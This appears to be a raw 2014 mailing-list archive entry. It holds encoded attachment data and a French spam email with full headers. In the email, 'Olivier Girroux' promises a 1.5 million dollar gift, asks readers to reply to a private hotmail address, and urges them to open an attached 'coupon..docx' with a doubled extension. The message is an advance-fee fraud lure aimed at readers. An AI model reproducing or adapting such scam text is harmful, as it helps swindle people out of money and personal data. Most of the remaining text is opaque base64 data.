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 HVSgg0rPZU3nYgCJGiUCeIoFhceT42ka3T+Gmjut5cRGeMuf8FF0FgRm+5SIkYSikKhRQkBDPwhG KT4MBVvY00g8NqT1j4bre5klNOOjofgVAx4sXgOlchJERZUQSNQoMVjLNgnh4PNXczxskIw0zIvY Nug+gAyPPPcZV1OYF8u0Xt8OgJra59960qIBiRolCawB0TDWD4HmeJucKwD+SXDQ5PqQlV1vnIhS qNv57Q/+lx6x6ECiRglDMvs/Wx2sU7wEjMY3x8fvMVTQ/vkyVw9qs5ZGVJ9p/+4TFhVI1CiBCAwE euYqhlJUva2GZHkr6HQRW98UeH1sKWcgUaOEYvx4slvbDx7RRytDilQRzCG9kZKNfgAh0EKqByKQ XokECaKQqCFBgigkakiQIAqJGhIkiEKihgQJopCoIUGCKCRqSJAgCokaEiSIQqKGBAmikKghQYIo JGpIkCAKiRoSJIhCooYECaKQqCFBgij+DwbXYJsKZW5kc3RyZWFtCmVuZG9iagozIDAgb2JqCjw8 L0xlbmd0aCA2OC9GaWx0ZXIvRmxhdGVEZWNvZGU+PnN0cmVhbQp4nCvkKlQwtTTWMzdRMABCCxMj BQM9M2NDExA/OVdBPzM33UDBJV8hkCuQq5DLKYTL2EzBwsBMISSFyzUEKAYAy6sN7AplbmRzdHJl YW0KZW5kb2JqCjUgMCBvYmoKPDwvVHlwZS9QYWdlL01lZGlhQm94WzAgMCA1OTUgODQyXS9SZXNv dXJjZXM8PC9Qcm9jU2V0IFsvUERGIC9UZXh0IC9JbWFnZUIgL0ltYWdlQyAvSW1hZ2VJXS9YT2Jq ZWN0PDwvaW1nMCAyIDAgUj4+Pj4vQ29udGVudHMgMyAwIFIvUGFyZW50IDQgMCBSPj4KZW5kb2Jq CjQgMCBvYmoKPDwvVHlwZS9QYWdlcy9Db3VudCAxL0tpZHNbNSAwIFJdL0lUWFQoNS4xLjMpPj4K ZW5kb2JqCjYgMCBvYmoKPDwvVHlwZS9DYXRhbG9nL1BhZ2VzIDQgMCBSPj4KZW5kb2JqCjcgMCBv YmoKPDwvUHJvZHVjZXIoY29udmVydGZpbGVvbmxpbmUuY29tKS9DcmVhdGlvbkRhdGUoRDoyMDE0 MDEyMDEzMTk0NyswMScwMCcpL01vZERhdGUoRDoyMDE0MDEyMDEzMTk0NyswMScwMCcpPj4KZW5k b2JqCnhyZWYKMCA4CjAwMDAwMDAwMDAgNjU1MzUgZiAKMDAwMDAwMDAxNSAwMDAwMCBuIAowMDAw MDAwODMxIDAwMDAwIG4gCjAwMDAwNDEzNzIgMDAwMDAgbiAKMDAwMDA0MTY2OCAwMDAwMCBuIAow MDAwMDQxNTA2IDAwMDAwIG4gCjAwMDAwNDE3MzEgMDAwMDAgbiAKMDAwMDA0MTc3NiAwMDAwMCBu IAp0cmFpbGVyCjw8L1NpemUgOC9Sb290IDYgMCBSL0luZm8gNyAwIFIvSUQgWzw2Mjg4NjE0MjVm ZjE3MjdlOTU0MGRjOTczYzBkNDRkMz48MmIwYTY4MDcwYTU3MzlhMGVlMzg5ZmRjY2IxZjMxODM+ XT4+CnN0YXJ0eHJlZgo0MTg5OQolJUVPRgo= ------=_NextPart_000_1BEA_01CF162D.71CBE140-- From hb095135@belgacom.net Mon Jan 20 15:38:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,LOTS_OF_MONEY autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 78F747F37 for ; Mon, 20 Jan 2014 15:38:01 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id CEE3CAC004 for ; Mon, 20 Jan 2014 13:38:00 -0800 (PST) X-ASG-Debug-ID: 1390253874-04cb6c75080a100001-w1Z2WR Received: from mailsec102.isp.belgacom.be (mailsec102.isp.belgacom.be [195.238.20.98]) by cuda.sgi.com with ESMTP id 4qCqYhonIGBdADKM for ; Mon, 20 Jan 2014 13:37:54 -0800 (PST) X-Barracuda-Envelope-From: hb095135@belgacom.net X-Barracuda-Apparent-Source-IP: 195.238.20.98 Received: from mailrmu002.isp.belgacom.be ([195.238.20.210]) by privrelay.isp.belgacom.be with ESMTP; 20 Jan 2014 22:18:30 +0100 Date: Mon, 20 Jan 2014 22:37:52 +0100 (CET) From: CONPAGNIE Reply-To: CONPAGNIE To: hbrossard@wanadoo.fr Cc: fb405464@skynet.be Message-ID: <1710562396.98079.1390253872371.open-xchange@webmail.nmp.skynet.be> Subject: =?UTF-8?Q?tr:_FW:_;f._:_To.FW:_Re_Tr=C3=A8s_Cher(e)=E2=80=8F?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?UTF-8?Q?tr:_FW:_;f._:_To.FW:_Re_Tr=C3=A8s_Cher(e)=E2=80=8F?= Content-Type: multipart/mixed; boundary="----=_Part_98077_896318447.1390253872122" X-Priority: 3 Importance: Medium X-Mailer: Open-Xchange Mailer v7.2.2-Rev27 X-Barracuda-Connect: mailsec102.isp.belgacom.be[195.238.20.98] X-Barracuda-Start-Time: 1390253874 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 HTML_MESSAGE BODY: HTML included in message ------=_Part_98077_896318447.1390253872122 Content-Type: multipart/alternative; boundary="----=_Part_98078_1973838671.1390253872123" ------=_Part_98078_1973838671.1390253872123 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable voir l'en-t=C3=AAte complet > > ----- Original Message ----- > ----- Original Message ----- >> > ----= - > > Original Message ----- > ----- Original Message ----- > Bonjour Mme / Mr Tr=C3=A8s Cher(e) Je suis Olivier Girroux et j'aimerai vous faire une proposition qui pourra= vous int=C3=A9ress=C3=A9. Il s'agit d'un don d'une somme de 1,5 million de dolla= rs dont Veuillez me r=C3=A9pondre sur mon adresse mail priv=C3=A9 pour en savoir pl= us. e-mail: oliviergirroux@hotmail.fr Ps : Veillez regarder la lettre en pi=C3=A8ce jointe pour en savoir plus. Monsieur Olivier Girroux ,=3D ----- Original Mess ------=_Part_98078_1973838671.1390253872123 MIME-Version: 1.0 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable =20 =20 =20
=20

>  > ----- Original Message ----- >= ----- Original Message ----- >>  > ----- Original Me= ssage ----- > ----- Original Message ----- >=

=20

Bonjour Mme / Mr

Très Cher(e)
=
Je suis  Olivier Gir= roux et j'aimerai vous faire une proposition qui pourra vous intér= essé. Il s'agit d'un don d'une somme de 1,5 million de dol= lars dont 
Veuillez me répondre sur mon adress= e mail privé pour en savoir plus. e-mail: oliviergirroux@hotmail.fr
Ps : Veillez regarder la lettre en pièce jointe = pour en savoir plus.

Monsieur Olivier Girroux ,=3D<= br style=3D"line-height: 21.299999237060547px;"/>    

----- Original Mess

=20
=20 ------=_Part_98078_1973838671.1390253872123-- ------=_Part_98077_896318447.1390253872122 Content-Type: unknown/unknown; name=coupon..docx Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=coupon..docx UEsDBBQABgAIAAAAIQAJJIeCgQEAAI4FAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0 lE1Pg0AQhu8m/geyVwPbejDGlPag9ahNrPG8LkPZyH5kZ/v17x1KS6qhpVq9kMAy7/vMCzOD0UqX 0QI8KmtS1k96LAIjbabMLGWv08f4lkUYhMlEaQ2kbA3IRsPLi8F07QAjqjaYsiIEd8c5ygK0wMQ6 MHSSW69FoFs/407IDzEDft3r3XBpTQAT4lBpsOHgAXIxL0M0XtHjmsRDiSy6r1+svFImnCuVFIFI +cJk31zirUNClZt3sFAOrwiD8VaH6uSwwbbumaLxKoNoInx4Epow+NL6jGdWzjX1kByXaeG0ea4k NPWVmvNWAiJlrsukOdFCmR3/QQ4M6xLw7ylq3RPt31QoxnkOkj52dx4a46rppLbYq+12gxAopFNM vv6CcVfouFXuRFjC+8u/UeyJd4LkNBpT8V7CCYn/MIxGuhMi0LwD31z7Z3NsZI5Z0mRMvHVI+8P/ ou3dgqiqYxo5Bz4oaFZE24g1jrR7zu4Pqu2WQdbizTfbdPgJAAD//wMAUEsDBBQABgAIAAAAIQAe kRq38wAAAE4CAAALAAgCX3JlbHMvLnJlbHMgogQCKKAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjJLbSgNBDIbvBd9hyH032woi0tneSKF3 IusDhJnsAXcOzKTavr2jILpQ217m9OfLT9abg5vUO6c8Bq9hWdWg2JtgR99reG23iwdQWchbmoJn DUfOsGlub9YvPJGUoTyMMaui4rOGQSQ+ImYzsKNchci+VLqQHEkJU4+RzBv1jKu6vsf0VwOamaba WQ1pZ+9AtcdYNl/WDl03Gn4KZu/Yy4kVyAdhb9kuYipsScZyjWop9SwabDDPJZ2RYqwKNuBpotX1 RP9fi46FLAmhCYnP83x1nANaXg902aJ5x687HyFZLBZ9e/tDg7MvaD4BAAD//wMAUEsDBBQABgAI AAAAIQB8O5c5IgEAALkDAAAcAAgBd29yZC9fcmVscy9kb2N1bWVudC54bWwucmVscyCiBAEooAAB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKyTTU+EMBCG7yb+B9K7FFZdjdmyFzXZq67x3C1T aISWdMYP/r0VswrKogcuTWaavs/TSbtav9VV9AIejbOCpXHCIrDK5cYWgj1sb08uWYQkbS4rZ0Gw FpCts+Oj1R1UksIhLE2DUUixKFhJ1FxxjqqEWmLsGrBhRztfSwqlL3gj1ZMsgC+SZMl9P4Nlg8xo kwvmN/kpi7ZtE8h/ZzutjYJrp55rsDSC4AhE4WYYMqUvgATbd+Lgyfi4wuKAQm2Ud+g0xcrV/JP+ Qb0YXowjtRXgo6HyRmtQ1Mf/3JrySA94jIz5H6PoyL1BdPUUfjknnsILgW96V/JuTacczud00M7S Vu6qnsdXa0ribE6JV9jd/3qVveZehA8+XPYOAAD//wMAUEsDBBQABgAIAAAAIQCvChei9wgAANxF AAARAAAAd29yZC9kb2N1bWVudC54bWzsXM2S27gRvqdq3wGly1xm9GM79ljl0cYej12bKmenbCfX LYgEJXhIgAZAasanvENOueW2Vg455Q1YeZE8Sb4GSI00kjczHtceVnCVhxJINhpNoL+vu0E9+/6y yFktjJVanfRG/WGPCZXoVKrZSe/P718dHfeYdVylPNdKnPSuhO19P/nud88W41QnVSGUYxCh7HhR Jie9uXPleDCwyVwU3PYLmRhtdeb6iS4GOstkIgYLbdLBg+Fo6D+VRifCWvR3ylXNba8VV2xL06VQ 6CvTpuDO9rWZDQpuLqryCNJL7uRU5tJdQfbwcSdGn/Qqo8atQkcrheiWcVCoPXR3mK1R7Og33Pmy tYDvcWBEDh20snNZXg/ja6VhiPNOpfqXBlEXeXfdohw92upvNeTbPIOXhi/wKK4FbonbYYw03FTk wQ70fK+f6k2Jo+EvDaZ9IiRipcNtVNjss9Ok4FKtxHydadaNixVxn/n92uiqXKlTyvtJ+0FdrGTR wryDZsPHfuWtD83eScDW0n0356XosSIZ/zBT2vBpDo0Wo0eMZmRvAmcx1ekVHUu2GMPZpG9PesPh 2YPR8fGLXtd0jqW31fhSZLzK3faZ87UmL/nc0MG0h1daOQvJ3CYSpn4vC2HZn8SCvdUFx6xYjAW3 7rmVfOfJ+XNld9+WwFY3pQ38EMPfU+uPic61QS81z0lR+tfzJ+ynrvXBk67llDT1V4a2QTsOHMt2 PLjA223DSL+5AS/GbvJCqw+6MuxNIdiAvTHPYAU3ob94wGQR/7Q7e6zNgq5pw0RdY5xH0XpxFZIz +v9uh9bbe9N8tux0LuL6i378zsCFGUQ8fmxLnoAKlEZYYWrRm7DozSMrIAC/Cw0if3R2mVRWfDoq tNyYQmAFHcRv4P5vkRp9YUmlgiXCOcFAbGXz2QiGllpXliUgwTxxwjCWcMMUtSkRjjinuETkjYiV ldwesg+4Swp8Sw9A500iai0NBDlIRECXyVww4egyMDNbSbu5mPfpSUxS6W5Mw6nWF5SOeOe4cZiS MgU1pThD8QIu8KfX+gVPLgLj7649U+nqSu9j934uf6zaqdv80yFgyznDTLSYqoJ9rA5kTlMPAaHr b1g/RgUxurwdr/2CC42zKbKSr2Alu2fTmWJTIzIPqHBXShf4+2MuAa7mJmQCV3V2Zsj67qoETthS 5LnHkAAV+4MIk9fSIEV6ubEWke7ZaSEg577ZZ/dkOwRb00bOJBDyleGq+RmkruNpNTgarxgqKzzl ffZH0DZdZRkxxIMKN8wMr4k25jyVBLCS4BXEMOUFzjb/YHRRocFnEmEcsunhImEdAxdMuEIzkc0Z ajHisCWHqbSlhgqhC+tnP64ZHf6eFTLPwTfpllTnOTfgmqConnnqCnUE6JtxCf2oY5zyBZVOkRUT wO1QMpPUP3WaHszBEIgxMJ5J1TIFoSDLQpEpeqwsn4lgASKumFSlkc0SY1oZA6UsI9DqVZdFiWGH 7qk7nnCNytjN5btHqzNp/u3EjbW5P8Pfvfgw8yQFSe3cP+CS6GpaYc0o1ixLxFuCgbReMU5zPkGF kD1kXCHYwsz16+2As6ngVYLaECZvJhLXLNuFpLw8CBPMoJxqCD4+VPZj9d+//h1rExIoT37YhnUH vO5COaglVMZRAEE/iPvWtfFz3l33GRZ/LSKhjmm+mOYLlcFY/FsVSX/Naiel+UBRkLlaZwJwcyAC h4zXcGisgO/jnpIE1wYaUjTLVCSA/XAO/MExy33uirIJSFcpugmu2QDP0eQ3rZQ5cmHkk+eeReBT LWtwAWxzmTlRlCBOtUjgZENi7ZohgZj4Lki2PeAzz6E8C/JVS3AEOvbZS1ES08ipb6ieNEsMBNp6 ZACzYB9arbiB8zcVI42kqMCJIBKJoZJfWaI+wAwjsKHG4D9JABY0n3FMmyXIjnQSkQal5YI4XiGl R/TIomoOKLkh1a7MZZktm2UieS4tpVqAWoHQHYIQQnEPVt5y3XipAxgbDM4Aia4Hgs4VRgWYmlXN 0iBn6LTjubczKFc3TGuhjtOVC0YQl9QvMTiMMdBOyxOSTN8hz4GccoAnxKOFYz8RaggwACgiqBkI ItDNAkv9c9dVTR2D7OLWNKJZ3HzQ7a1AZL22s4IKD1/abRGLVoA/zwGm4W/cynKPvTsezYLvg9Mj 